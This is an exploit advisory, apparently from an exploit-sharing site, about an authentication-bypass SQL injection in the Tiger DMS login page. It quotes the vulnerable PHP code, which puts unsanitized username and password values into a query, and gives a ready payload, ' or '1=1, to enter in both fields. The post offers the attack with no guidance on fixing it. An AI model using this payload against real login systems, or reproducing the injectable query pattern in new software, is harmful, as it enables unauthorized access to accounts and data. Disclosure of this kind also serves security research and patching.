Tiger DMS (Auth Bypass) Remote SQL Injection Vulnerability

==========================================================
Tiger DMS (Auth Bypass) Remote SQL Injection Vulnerability
==========================================================


-------------------------------------[+]
Home:http://www.tigerdms.com/download.php
Product: Tiger DMS   
home:www.h4ckf0ru.com
Note:  I test it On Localhost Because ThE Demo is not Worked :)

-------------------------------------
Tiger DMS (auth Bypass) SQL Injection Vulnerabilities
-------------------------------------
File:
-----
Login.php


Vuln:
----
if (isset($r_username)){
$selog = mysql_query("SELECT * FROM $prefix"."users where username='$r_username' and password='$r_password'");
$num_rows = mysql_num_rows($selog);
    if ($num_rows == 1){
    $nona=mysql_fetch_array($selog);
    $_SESSION["aut"] = $nona["type"] ;
    $_SESSION["nick"] = $nona["username"];
    $_SESSION["name"] = $nona["name"];
    $_SESSION["id"] = $nona["id"];
    header("Location: index.php");

exploit:
--------

http://localhost/[path]/login.php

username:' or '1=1

Password:' or '1=1


--------------------------------------------------



#  0day.today [2018-03-14]  #